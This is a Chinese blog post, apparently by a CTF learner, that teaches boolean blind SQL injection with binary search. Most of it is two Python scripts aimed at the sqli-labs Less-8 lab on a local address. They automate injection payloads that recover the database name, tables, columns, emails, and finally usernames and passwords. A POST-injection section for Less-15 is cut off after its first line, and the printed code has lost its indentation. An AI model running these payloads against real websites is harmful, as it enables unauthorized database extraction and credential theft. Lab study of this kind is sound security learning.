SQL盲注---二分法
布尔盲注——GET注入
一、好家伙,昨天在buu上看到一道SQL注入的题目,贼难受,然后就果断放弃去看大佬们写的wp,所以成功的花了6个小时来学习这个鬼东西,可能是自己太菜了,也可能是小甲鱼python看的太少了……小甲鱼的python的确讲的很不错
自己写的脚本:
二、直接上代码,看不懂来找我(算了,还是别找我了……),这里都是以sqli-labs第八关为例子的。
(1)获取数据库的长度
# 导入爬虫模块
import requests
# 导入时间模块
import time
# 获取数据库的长度
def get_DBlen(url):
for i in range(1, 20):
payload = "' and length(database())=%d -- p" % i
html = requests.get(url + payload)
if "You" in html.text:
print(f"数据库长度为:{i}")
break
return i
# 获取数据库的库名
def get_DBname(url, DBlen):
DBname = ""
DBlen = DBlen + 1
for i in range(1, DBlen):
for j in range(33, 128): payload = "' and (ascii(substr((select(database())),{0},1))={1}) -- p".format(i, j)
db_url = url + payload
html = requests.get(db_url)
if "You" in html.text:
DBname += chr(j)
break
print(DBname)
return DBname
# 获取表的长度
def get_TBlen(url):
# 表示数据表的数量
TBvalue = 0
for j in range(0, 15):
payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>1 -- p".format(
j)
db_url = url + payload
html = requests.get(db_url)
# 如果有回显说明该表存在,存在的话就可以判断该表的长度
if "You" in html.text:
pass
else:
TBvalue = j
break
print(TBvalue)
for j in range(0, TBvalue):
# print(j):0,1,2,3
for i in range(1, 20):
payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1} -- p".format(
j, i)
db_url = url + payload
html = requests.get(db_url)
if "You" in html.text:
print(f"数据表{j}的长度为{i}")
return TBvalue
# 获取表名
def get_TBname(url, TBlen):
TBnameAll = []
for i in range(0, TBlen):
TBname = ""
for j in range(1, 15):
min = 32
max = 128
mid = (max + min) // 2
while min < max:
payload = "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2} -- p".format(
i, j, mid)
html = requests.get(url + payload)
if "You" in html.text:
min = mid + 1
else:
max = mid
mid = (max + min) // 2
if mid <= 32 or mid >= 127:
break
TBname += chr(mid)
# print(chr(mid))
print(TBname)
TBnameAll.append(TBname)
return TBnameAll
# 获取列的列名
def get_Colname(url):
for i in range(0, 15):
Colname = ""
for j in range(1, 15):
min = 32
max = 128
mid = (min + max) // 2
while min < max:
payload = "' and ascii(substr((select column_name from information_schema.columns where table_name='referers' limit {0},1),{1},1))>{2} -- p".format(
i, j, mid)
html = requests.get(url + payload)
if "You" in html.text:
min = mid + 1
else:
max = mid
mid = (max + min) // 2
if mid <= 32 or mid >= 127:
break
Colname += chr(mid)
print("数据列名为:", Colname)
# 爆数据
def get_shuju(url):
for i in range(0, 15):
shuju = ""
for j in range(1, 20):
min = 32
max = 128
mid = (min + max) // 2
while min < max:
payload = "' and ascii(substr((select concat(id,'~',email_id) from emails limit {0},1),{1},1))>{2} -- p".format(
i, j, mid)
html = requests.get(url + payload)
if "You" in html.text:
min = mid + 1
else:
max = mid
mid = (max + min) // 2
if mid <= 32 or mid >= 127:
break
shuju += chr(mid)
print("数据为:", shuju)
if __name__ == "main":
# 要进行SQL盲注的链接
url = "http://192.168.59.150/sqli-labs/Less-8/?id=1"
# 数据库的长度
DBlen = get_DBlen(url)
# 数据库的库名
DBname = get_DBname(url, DBlen)
# 数据表的个数
TBlen = get_TBlen(url)
# print(TBlen)
# 表的表名
TBnameAll = get_TBname(url, TBlen)
# 返回的是一个列表,表示所有的数据表名
# print(TBnameAll)
get_Colname(url)
# 数据
get_shuju(url)
运行结果就不放出来了。
唉,写的比较垃圾,大佬别喷。慢慢改进,好家伙……
来自大佬的脚本改编:
以下是根据大佬的脚本进行更改的,算80%的自动化吧,嗷嗷嗷……
from operator import le
import requests
import time
host = "http://192.168.59.150/sqli-labs/Less-8/?"
def getDatabase():
# 获取数据库名
# 将host变量变为一个全局变量
global host
ans = ''
for i in range(1, 1000): low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
url = host + "id=1' and (ascii(substr((select(database())),%d,1))<%d) -- p" % (i, mid)
res = requests.get(url)
# 如果返回的是You,那么就为真的
if "You" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("database is -> " + ans)
# 返回库名
return ans
def getTable(DBname):
# 获取表名
global host
ans = ""
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
url = host + "id=1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{0}')),{1},1))<{2}) -- p".format(
DBname, i, mid)
res = requests.get(url)
if "You" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("table is -> " + ans)
# 返回表名,此时表名为一个列表
return ans
def getColumn(TBname):
# 获取列名
global host
ans = ''
for i in range(1, 1000): low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
url = host + "id=1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{0}')),{1},1))<{2}) -- p".format(
TBname, i, mid)
res = requests.get(url)
if "You" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("column is -> " + ans)
# 返回一个列名
return ans
def dumpTable():
# 脱裤
global host
ans = ''
for i in range(1, 1000): low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
url = host + "id=1' and (ascii(substr((select(group_concat(username,password))from(users)),%d,1))<%d) -- p" % (
i, mid)
res = requests.get(url)
if "You" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("dumpTable is -> " + ans)
DBname = getDatabase()
# print(DBname)
TBname = getTable(DBname)
# print(type(TBname))表示是一个字符串,用来测试
TBnames = []
TBnames.append(TBname.split(','))
# 因为输出的是一个二元数组,所以使用下面的代码来转为一维数组
TBnames = TBnames[0]
# print(TBnames)
TBlen = len(TBnames)
for i in range(0, TBlen):
TBname = TBnames[i]
# print(TBname)
getColumn(TBname)
if i == TBlen - 1:
break
dumpTable()
运行结果就不放出来了。
布尔盲注——POST注入
直接上代码了:(这里是以sqli-labs第15关为例的)
1 | import requests |
运行结果就不放出来了。